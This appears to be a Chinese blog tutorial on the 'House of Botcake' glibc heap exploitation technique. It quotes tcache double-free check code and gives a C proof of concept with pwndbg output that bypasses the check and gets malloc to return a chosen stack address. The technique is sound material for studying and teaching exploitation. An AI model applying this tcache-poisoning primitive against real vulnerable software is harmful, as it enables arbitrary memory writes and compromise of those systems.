0%

House Of Botcake-原理

House Of Botcake

glibc2.29~glibc2.31,tcache加入了 key 值来进行 double free 检测,以至于在旧版本时的直接进行 double free 变的无效,所以自然就有了绕过方法,绕过方法其中比较典型的就是 house of botcake,他的本质也是通过 UAF 来达到绕过的目的

利用场景:

  • glibc > 2.25(有 tcache)
  • double free

glibc2.31下的Tcache检查

对于每一个 tcache 中的chunk,增加了一个key指针,用于指向所属的 tcache 结构体:

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next; //链表指针,对应chunk中的fd字段
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; //指向所属的tcache结构体,对应chunk中的bk字段
} tcache_entry;

当chunk被放入时会设置key指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static __always_inline void
tcache_put(mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; //设置所属的tcache

e->next = tcache->entries[tc_idx];//单链表头插法
tcache->entries[tc_idx] = e;

++(tcache->counts[tc_idx]); //计数增加
}

ptmalloc 使用了一种更机智的方法,在不影响效率的前提下,完成了对double free的检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
size_t tc_idx = csize2tidx(size);
//只要tcache不为空,并且这个chunk属于tcache管辖范围,那么这个chunk就有可能已经在tcache中了,所以需要double free检查
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *)chunk2mem(p);

/*
如果是double free,那么put时key字段被设置了tcache,就会进入循环被检查出来
如果不是,那么key字段就是用户数据区域,可以视为随机的,只有1/(2^size_t)的可能行进入循环,然后循环发现并不是double free
*/
if (__glibc_unlikely(e->key == tcache))//剪枝
{
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}

if (tcache->counts[tc_idx] < mp_.tcache_count) //通过检查,放入tcahce中
{
tcache_put(p, tc_idx);
return;
}
}

简单来说:

  • 在 free chunk 被放入 tcache 时,程序会设置一个 key 值
  • 每次程序把 new free chunk 放入 tcache 前,都会检查一下它是否携带有 key 值
  • 注意:key 值原本的位置是用户数据区(可以认为是随机值),有极小的概率会触发检查报错

这些检查导致我们不能 free 任何一个已经在tcache中的chunk,绕过的方法有两个:

  • 想办法修改 key 字段
  • 使用 fastbin double free

House Of Botcake 利用姿势

首先填充 tcache bin 链表,然后使用 malloc 从 tcache bin 链表中取出一个 chunk,然后通过二次 free 将 victim chunk 加入 tcache bin 链表,然后利用堆块重叠将 double free 块的fd指针覆写为目标位置,再次 malloc 即可控制到目标位置,达到任意写操作

核心点为:

  • 合并 chunk1 chunk2 进 unsortedbins
  • 将 chunk2 链进 tcache
  • 从 chunk1 分配一个大chunk造成 overlapped 到 chunk2 修改其 fd

其实就是利用了 tcachebin 和 unsortedbin 之间的相对独立性,使一个 chunk 在 unsortedbin 中的同时还可以在 tcachebin 中(fastbin对此就有相对完善的检查,不会出现这种情况)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
puts("House of botcake Poc\n\n");

// 禁用缓冲并使_FILE_IO不影响堆
setbuf(stdin, NULL);
setbuf(stdout, NULL);

// 准备目标
intptr_t stack_var[4];
printf("目标地址是 %p.\n\n", stack_var);

puts("堆布局构造");
puts("申请7个 chunks(malloc(0x100)) 用于稍后填充tcache bin链表.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
puts("为之后的合并申请一个 prev chunk");
intptr_t *prev = malloc(0x100);
puts("申请用于double free的 victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("申请一个填充chunk防止top chunk合并.\n");
malloc(0x10);

puts("接下来可以造成堆块重叠");
puts("Step 1: 填充 tcache bin 链表");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free victim chunk 并链接到 unsorted bin");
free(a);

puts("Step 3: free prev chunk 使它和 victim chunk 合并.");
free(prev);

puts("Step 4: 使用malloc从tcache bin链表中取出一个chunk,然后通过二次free将 victim chunk 加入tcache bin链表\n");
malloc(0x100);
free(a);
puts("double free 利用完成\n\n");

puts("tcache 毒化");
puts("现在 victim chunk 被包含在一个更大的已释放块中,可以通过利用块重叠进行 tcache 毒化");
intptr_t *b = malloc(0x120);
puts("将 victim chunk 的 fd 指针覆写为目标位置");
b[0x120/8-2] = (long)stack_var;
/* 这里只能直接修改,模拟覆盖的过程 */

puts("malloc申请到目标位置.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("新申请的 chunk 位于 %p\n", c);

assert(c==stack_var);
printf("已控制目标位置!\n\n");

return 0;
}

Step 1: 填充 tcache bin 链表

1
2
3
4
pwndbg> bins
tcachebins
0x110 [ 7]: 0x405d10 —▸ 0x405c00 —▸ 0x405af0 —▸ 0x4059e0 —▸ 0x4058d0 —▸ 0x4057c0 —▸ 0x4056b0 ◂— 0x0
0x410 [ 1]: 0x4052a0 ◂— 0x0

Step 2: free victim chunk 并链接到 unsorted bin

1
2
unsortedbin
all: 0x405f20 —▸ 0x7ffff7facbe0 (main_arena+96) ◂— 0x405f20 /* victim(head) */

Step 3: free prev chunk 使它和 victim chunk 合并

1
2
unsortedbin
all: 0x405e10 —▸ 0x7ffff7facbe0 (main_arena+96) ◂— 0x405e10

Step 4: 使用malloc从tcache bin链表中取出一个chunk,然后通过二次free将 victim chunk 加入tcache bin链表

1
2
3
tcachebins
0x110 [ 6]: 0x405c00 —▸ 0x405af0 —▸ 0x4059e0 —▸ 0x4058d0 —▸ 0x4057c0 —▸ 0x4056b0 ◂— 0x0 /* 原本tcache的第一个chunk被申请了 */
0x410 [ 1]: 0x4052a0 ◂— 0x0
1
2
3
4
pwndbg> bins
tcachebins
0x110 [ 7]: 0x405f30 —▸ 0x405c00 —▸ 0x405af0 —▸ 0x4059e0 —▸ 0x4058d0 —▸ 0x4057c0 —▸ 0x4056b0 ◂— 0x0
0x410 [ 1]: 0x4052a0 ◂— 0x0

Step 5: 将 victim chunk 的 fd 指针覆写为目标位置

1
0x110 [  7]: 0x405f30 —▸ 0x7fffffffded0 —▸ 0x400040 ◂— 0x400000006

虽然和 tcache Double free 的流程有些不同(先填满 tcache 然后再 fastbin 上进行 Double free,再次申请,使得 fast chunk 被链入 tcache),但最后都可以申请到目标地址

版本对 House Of Botcake 的影响

House Of Botcake 就是为了对付高libc版本而产生的技术

至少在 libc-2.25 ~ libc-2.31 都可以适应